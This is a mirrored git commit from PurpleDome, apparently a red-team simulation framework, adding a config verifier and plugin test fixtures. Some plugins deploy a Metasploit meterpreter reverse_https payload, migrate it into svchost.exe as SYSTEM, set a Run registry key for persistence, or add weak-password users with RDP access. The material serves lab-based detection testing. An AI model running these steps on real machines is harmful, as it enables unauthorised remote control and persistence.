mirror of https://github.com/avast/PurpleDome
commit
a93c92bbf4
@ -0,0 +1,205 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
""" Pydantic verifier for config structure """
|
||||
|
||||
from enum import Enum
|
||||
from typing import Optional
|
||||
from pydantic.dataclasses import dataclass
|
||||
from pydantic import conlist # pylint: disable=no-name-in-module
|
||||
|
||||
# TODO: Move from has_key to iterators and "is in"
|
||||
|
||||
|
||||
class OSEnum(str, Enum):
|
||||
""" List of all supported OS-es """
|
||||
LINUX = "linux"
|
||||
WINDOWS = "windows"
|
||||
|
||||
|
||||
class VMControllerTypeEnum(str, Enum):
|
||||
""" List of all supported controlled plugins. This is only done for VM controller plugins !
|
||||
I do not expect many new ones. And typos in config can be a waste of time. Let's see if I am right. """
|
||||
VAGRANT = "vagrant"
|
||||
RUNNING_VM = "running_vm"
|
||||
|
||||
|
||||
@dataclass
|
||||
class CalderaConfig:
|
||||
""" Configuration for the Caldera server """
|
||||
apikey: str
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
@dataclass
|
||||
class VMController:
|
||||
""" Configuration for the VM controller """
|
||||
vm_type: VMControllerTypeEnum
|
||||
vagrantfilepath: str
|
||||
ip: Optional[str] = "" # pylint: disable=invalid-name
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
# def __dict__(self):
|
||||
# return {"vm_type": self.vm_type,
|
||||
# "vagrantfilepath": self.vagrantfilepath,
|
||||
# "ip": self.ip}
|
||||
|
||||
|
||||
@dataclass
|
||||
class Attacker:
|
||||
""" Configuration for a attacker VM """
|
||||
name: str
|
||||
vm_controller: VMController
|
||||
vm_name: str
|
||||
nicknames: Optional[list[str]]
|
||||
machinepath: str
|
||||
os: OSEnum # pylint: disable=invalid-name
|
||||
use_existing_machine: bool = False
|
||||
playground: Optional[str] = None
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
def get(self, keyname, default=None):
|
||||
""" Returns the value of a specific key
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if self.has_key(keyname):
|
||||
return self.__dict__[keyname]
|
||||
return default
|
||||
|
||||
|
||||
@dataclass
|
||||
class Target:
|
||||
""" Configuration for a target VM """
|
||||
name: str
|
||||
vm_controller: VMController
|
||||
vm_name: str
|
||||
os: OSEnum # pylint: disable=invalid-name
|
||||
paw: str
|
||||
group: str
|
||||
machinepath: str
|
||||
sensors: Optional[list[str]]
|
||||
nicknames: Optional[list[str]]
|
||||
active: bool = True
|
||||
use_existing_machine: bool = False
|
||||
playground: Optional[str] = None
|
||||
halt_needs_force: Optional[str] = None
|
||||
ssh_user: Optional[str] = None
|
||||
ssh_password: Optional[str] = None
|
||||
ssh_keyfile: Optional[str] = None
|
||||
vulnerabilities: list[str] = None
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
def get(self, keyname, default=None):
|
||||
""" Returns the value of a specific key
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if self.has_key(keyname):
|
||||
return self.__dict__[keyname]
|
||||
return default
|
||||
|
||||
|
||||
@dataclass
|
||||
class AttackConfig:
|
||||
""" Generic configuration for attacks """
|
||||
caldera_obfuscator: str = "plain-text"
|
||||
caldera_jitter: str = "4/8"
|
||||
nap_time: int = 5
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
@dataclass
|
||||
class AttackList:
|
||||
""" A list of attacks to run. Either plugin based or caldera based """
|
||||
linux: Optional[list[str]]
|
||||
windows: Optional[list[str]]
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
def get(self, keyname, default=None):
|
||||
""" Returns the value of a specific key
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if self.has_key(keyname):
|
||||
return self.__dict__[keyname]
|
||||
return default
|
||||
|
||||
|
||||
@dataclass
|
||||
class Results:
|
||||
""" What to do with the results """
|
||||
loot_dir: str
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
@dataclass
|
||||
class MainConfig:
|
||||
""" Central configuration for PurpleDome """
|
||||
caldera: CalderaConfig
|
||||
attackers: conlist(Attacker, min_items=1)
|
||||
targets: conlist(Target, min_items=1)
|
||||
attacks: AttackConfig
|
||||
caldera_attacks: AttackList
|
||||
plugin_based_attacks: AttackList
|
||||
results: Results
|
||||
|
||||
# Free form configuration for plugins
|
||||
attack_conf: Optional[dict]
|
||||
sensor_conf: Optional[dict]
|
||||
|
||||
def has_key(self, keyname):
|
||||
""" Checks if a key exists
|
||||
Required for compatibility with DotMap which is used in Unit tests
|
||||
"""
|
||||
if keyname in self.__dict__.keys():
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
# TODO: Check for name duplication
|
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
from app.interface_sfx import CommandlineColors
|
||||
|
||||
|
||||
class CalderaAutostartPlugin1(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "caldera_autostart_1"
|
||||
description = "Setting a registry key for autostart"
|
||||
ttp = "T1547.001"
|
||||
references = ["https://attack.mitre.org/techniques/T1547/001/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
requirements = [Requirement.CALDERA]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
# HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
||||
|
||||
res = ""
|
||||
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Starting caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||
self.caldera_attack(self.targets[0],
|
||||
"163b023f43aba758d36f524d146cb8ea",
|
||||
parameters={"command_to_execute": r"C:\\Windows\\system32\\calc.exe"},
|
||||
tactics="Persistence",
|
||||
tactics_id="TA0003",
|
||||
situation_description="Setting an autorun key runonce")
|
||||
self.attack_logger.vprint(
|
||||
f"{CommandlineColors.OKBLUE}Ending caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||
|
||||
return res
|
@ -0,0 +1,39 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
""" A command line tool to verify PurpleDome configuration files """
|
||||
|
||||
import argparse
|
||||
from pprint import pprint
|
||||
import sys
|
||||
import yaml
|
||||
from app.config_verifier import MainConfig
|
||||
|
||||
|
||||
def load(filename):
|
||||
""" Loads the config file and feeds it into the built in verifier """
|
||||
with open(filename) as fh:
|
||||
data = yaml.safe_load(fh)
|
||||
return MainConfig(**data)
|
||||
|
||||
|
||||
def create_parser():
|
||||
""" Creates the parser for the command line arguments"""
|
||||
parser = argparse.ArgumentParser("Parse a config file and verifies it")
|
||||
|
||||
parser.add_argument('--filename', default="experiment_ng.yaml")
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
arguments = create_parser().parse_args()
|
||||
try:
|
||||
r = load(arguments.filename)
|
||||
except TypeError as e:
|
||||
print("Config file has error(s):")
|
||||
print(e)
|
||||
sys.exit(1)
|
||||
print("Loaded successfully: ")
|
||||
pprint(r)
|
||||
|
||||
sys.exit(0)
|
@ -0,0 +1,20 @@
|
||||
targets:
|
||||
target1:
|
||||
vm_controller:
|
||||
type: vagrant
|
||||
vagrantfilepath: systems
|
||||
|
||||
vm_name: target1
|
||||
os: linux
|
||||
###
|
||||
# Targets need a unique PAW name for caldera
|
||||
paw: target1
|
||||
###
|
||||
# Targets need to be in a group for caldera
|
||||
group: red
|
||||
|
||||
machinepath: target1
|
||||
# Do not destroy/create the machine: Set this to "yes".
|
||||
use_existing_machine: yes
|
||||
|
||||
attackers:
|
@ -0,0 +1 @@
|
||||
targets:
|
@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
|
||||
|
||||
class MissingRunPlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "missing_run"
|
||||
description = "Migrate meterpreter to another process via metasploit"
|
||||
ttp = "T1055"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
import socket
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "no TTP"
|
||||
description = "This one has no ttp"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
|
||||
self.metasploit.smart_infect(target,
|
||||
payload=payload_type,
|
||||
architecture="x64",
|
||||
platform="windows",
|
||||
lhost=ip,
|
||||
format="exe",
|
||||
outfile=payload_name
|
||||
)
|
||||
|
||||
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||
|
||||
return res
|
@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
import socket
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_no_description"
|
||||
ttp = "T1055"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
|
||||
self.metasploit.smart_infect(target,
|
||||
payload=payload_type,
|
||||
architecture="x64",
|
||||
platform="windows",
|
||||
lhost=ip,
|
||||
format="exe",
|
||||
outfile=payload_name
|
||||
)
|
||||
|
||||
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||
|
||||
return res
|
@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
import socket
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
description = "This one has no name"
|
||||
ttp = "T1055"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
|
||||
self.metasploit.smart_infect(target,
|
||||
payload=payload_type,
|
||||
architecture="x64",
|
||||
platform="windows",
|
||||
lhost=ip,
|
||||
format="exe",
|
||||
outfile=payload_name
|
||||
)
|
||||
|
||||
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||
|
||||
return res
|
@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||
|
||||
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||
|
||||
|
||||
class VulnerabilityOk(VulnerabilityPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "vulnerability_ok"
|
||||
description = "Adding users with weak passwords"
|
||||
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def start(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
# Add vulnerable user
|
||||
# mkpasswd -m sha-512 # To calc the passwd
|
||||
# This is in the debian package "whois"
|
||||
|
||||
for user in self.conf["linux"]:
|
||||
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# net user username password /add
|
||||
cmd = f"net user {user['name']} {user['password']} /add"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# Adding the new users to RDP (just in case we want to test RDP)
|
||||
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
||||
|
||||
def stop(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
for user in self.conf["linux"]:
|
||||
# Remove user
|
||||
cmd = f"sudo userdel -r {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f"net user {user['name']} /delete"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
# Remove the new users to RDP (just in case we want to test RDP)
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
from app.interface_sfx import CommandlineColors
|
||||
|
||||
|
||||
class CalderaAutostartPlugin1(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "caldera_autostart_1"
|
||||
description = "Setting a registry key for autostart"
|
||||
ttp = "T1547.1"
|
||||
references = ["https://attack.mitre.org/techniques/T1547/001/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
requirements = [Requirement.CALDERA]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
# HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
||||
|
||||
res = ""
|
||||
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Starting caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||
self.caldera_attack(self.targets[0],
|
||||
"163b023f43aba758d36f524d146cb8ea",
|
||||
parameters={"command_to_execute": r"C:\\Windows\\system32\\calc.exe"},
|
||||
tactics="Persistence",
|
||||
tactics_id="TA0003",
|
||||
situation_description="Setting an autorun key runonce")
|
||||
self.attack_logger.vprint(
|
||||
f"{CommandlineColors.OKBLUE}Ending caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||
|
||||
return res
|
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to control already running vms
|
||||
|
||||
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||
from plugins.base.ssh_features import SSHFeatures
|
||||
|
||||
|
||||
class MachineryNoCreate(SSHFeatures, MachineryPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "machinery_no_create"
|
||||
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
self.vagrantfilepath = None
|
||||
self.vagrantfile = None
|
||||
|
||||
def up(self):
|
||||
""" Start a machine, create it if it does not exist """
|
||||
return
|
||||
|
||||
def halt(self):
|
||||
""" Halt a machine """
|
||||
return
|
||||
|
||||
def destroy(self):
|
||||
""" Destroy a machine """
|
||||
return
|
||||
|
||||
def get_state(self):
|
||||
""" Get detailed state of a machine """
|
||||
|
||||
return MachineStates.RUNNING
|
||||
|
||||
def get_ip(self):
|
||||
""" Return the machine ip """
|
||||
|
||||
return self.config.vm_ip()
|
@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to control already running vms
|
||||
|
||||
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||
from plugins.base.ssh_features import SSHFeatures
|
||||
|
||||
|
||||
class MachineryNoDestroy(SSHFeatures, MachineryPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "machinery_no_destroy"
|
||||
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
self.vagrantfilepath = None
|
||||
self.vagrantfile = None
|
||||
|
||||
def create(self, reboot=True):
|
||||
""" Create a machine
|
||||
|
||||
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||
"""
|
||||
return
|
||||
|
||||
def up(self):
|
||||
""" Start a machine, create it if it does not exist """
|
||||
return
|
||||
|
||||
def halt(self):
|
||||
""" Halt a machine """
|
||||
return
|
||||
|
||||
def get_state(self):
|
||||
""" Get detailed state of a machine """
|
||||
|
||||
return MachineStates.RUNNING
|
||||
|
||||
def get_ip(self):
|
||||
""" Return the machine ip """
|
||||
|
||||
return self.config.vm_ip()
|
@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to control already running vms
|
||||
|
||||
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||
from plugins.base.ssh_features import SSHFeatures
|
||||
|
||||
|
||||
class MachineryNoHalt(SSHFeatures, MachineryPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "machinery_no_halt"
|
||||
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
self.vagrantfilepath = None
|
||||
self.vagrantfile = None
|
||||
|
||||
def create(self, reboot=True):
|
||||
""" Create a machine
|
||||
|
||||
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||
"""
|
||||
return
|
||||
|
||||
def up(self):
|
||||
""" Start a machine, create it if it does not exist """
|
||||
return
|
||||
|
||||
def destroy(self):
|
||||
""" Destroy a machine """
|
||||
return
|
||||
|
||||
def get_state(self):
|
||||
""" Get detailed state of a machine """
|
||||
|
||||
return MachineStates.RUNNING
|
||||
|
||||
def get_ip(self):
|
||||
""" Return the machine ip """
|
||||
|
||||
return self.config.vm_ip()
|
@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to control already running vms
|
||||
|
||||
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||
from plugins.base.ssh_features import SSHFeatures
|
||||
|
||||
|
||||
class MachineryNoIp(SSHFeatures, MachineryPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "machinery_no_ip"
|
||||
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
self.vagrantfilepath = None
|
||||
self.vagrantfile = None
|
||||
|
||||
def create(self, reboot=True):
|
||||
""" Create a machine
|
||||
|
||||
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||
"""
|
||||
return
|
||||
|
||||
def up(self):
|
||||
""" Start a machine, create it if it does not exist """
|
||||
return
|
||||
|
||||
def halt(self):
|
||||
""" Halt a machine """
|
||||
return
|
||||
|
||||
def destroy(self):
|
||||
""" Destroy a machine """
|
||||
return
|
||||
|
||||
def get_state(self):
|
||||
""" Get detailed state of a machine """
|
||||
|
||||
return MachineStates.RUNNING
|
@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to control already running vms
|
||||
|
||||
from plugins.base.machinery import MachineryPlugin
|
||||
from plugins.base.ssh_features import SSHFeatures
|
||||
|
||||
|
||||
class MachineryNoState(SSHFeatures, MachineryPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "machinery_no_state"
|
||||
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
self.vagrantfilepath = None
|
||||
self.vagrantfile = None
|
||||
|
||||
def create(self, reboot=True):
|
||||
""" Create a machine
|
||||
|
||||
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||
"""
|
||||
return
|
||||
|
||||
def up(self):
|
||||
""" Start a machine, create it if it does not exist """
|
||||
return
|
||||
|
||||
def halt(self):
|
||||
""" Halt a machine """
|
||||
return
|
||||
|
||||
def destroy(self):
|
||||
""" Destroy a machine """
|
||||
return
|
||||
|
||||
def get_ip(self):
|
||||
""" Return the machine ip """
|
||||
|
||||
return self.config.vm_ip()
|
@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to control already running vms
|
||||
|
||||
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||
from plugins.base.ssh_features import SSHFeatures
|
||||
|
||||
|
||||
class MachineryNoUp(SSHFeatures, MachineryPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "machinery_no_up"
|
||||
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
self.vagrantfilepath = None
|
||||
self.vagrantfile = None
|
||||
|
||||
def create(self, reboot=True):
|
||||
""" Create a machine
|
||||
|
||||
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||
"""
|
||||
return
|
||||
|
||||
def halt(self):
|
||||
""" Halt a machine """
|
||||
return
|
||||
|
||||
def destroy(self):
|
||||
""" Destroy a machine """
|
||||
return
|
||||
|
||||
def get_state(self):
|
||||
""" Get detailed state of a machine """
|
||||
|
||||
return MachineStates.RUNNING
|
||||
|
||||
def get_ip(self):
|
||||
""" Return the machine ip """
|
||||
|
||||
return self.config.vm_ip()
|
@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to control already running vms
|
||||
|
||||
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||
from plugins.base.ssh_features import SSHFeatures
|
||||
|
||||
|
||||
class MachineryOk(SSHFeatures, MachineryPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "machinery_ok"
|
||||
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
self.vagrantfilepath = None
|
||||
self.vagrantfile = None
|
||||
|
||||
def create(self, reboot=True):
|
||||
""" Create a machine
|
||||
|
||||
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||
"""
|
||||
return
|
||||
|
||||
def up(self):
|
||||
""" Start a machine, create it if it does not exist """
|
||||
return
|
||||
|
||||
def halt(self):
|
||||
""" Halt a machine """
|
||||
return
|
||||
|
||||
def destroy(self):
|
||||
""" Destroy a machine """
|
||||
return
|
||||
|
||||
def get_state(self):
|
||||
""" Get detailed state of a machine """
|
||||
|
||||
return MachineStates.RUNNING
|
||||
|
||||
def get_ip(self):
|
||||
""" Return the machine ip """
|
||||
|
||||
return self.config.vm_ip()
|
@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
import socket
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_migrate"
|
||||
description = "Migrate meterpreter to another process via metasploit"
|
||||
ttp = "T1055"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
|
||||
self.metasploit.smart_infect(target,
|
||||
payload=payload_type,
|
||||
architecture="x64",
|
||||
platform="windows",
|
||||
lhost=ip,
|
||||
format="exe",
|
||||
outfile=payload_name
|
||||
)
|
||||
|
||||
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||
|
||||
return res
|
@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to experiment with Linux logstash filebeat sensors
|
||||
|
||||
from plugins.base.sensor import SensorPlugin
|
||||
import os
|
||||
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||
|
||||
|
||||
class SensorMissingCollectPlugin(SensorPlugin):
|
||||
# Boilerplate
|
||||
name = "missing_collect"
|
||||
description = "Linux filebeat plugin"
|
||||
|
||||
required_files = ["filebeat.conf",
|
||||
"filebeat.yml",
|
||||
]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
self.debugit = False
|
||||
|
||||
def process_templates(self):
|
||||
""" process jinja2 templates of the config files and insert own config """
|
||||
|
||||
env = Environment(
|
||||
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||
autoescape=select_autoescape()
|
||||
)
|
||||
template = env.get_template("filebeat_template.conf")
|
||||
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||
with open(dest, "wt") as fh:
|
||||
res = template.render({"playground": self.get_playground()})
|
||||
fh.write(res)
|
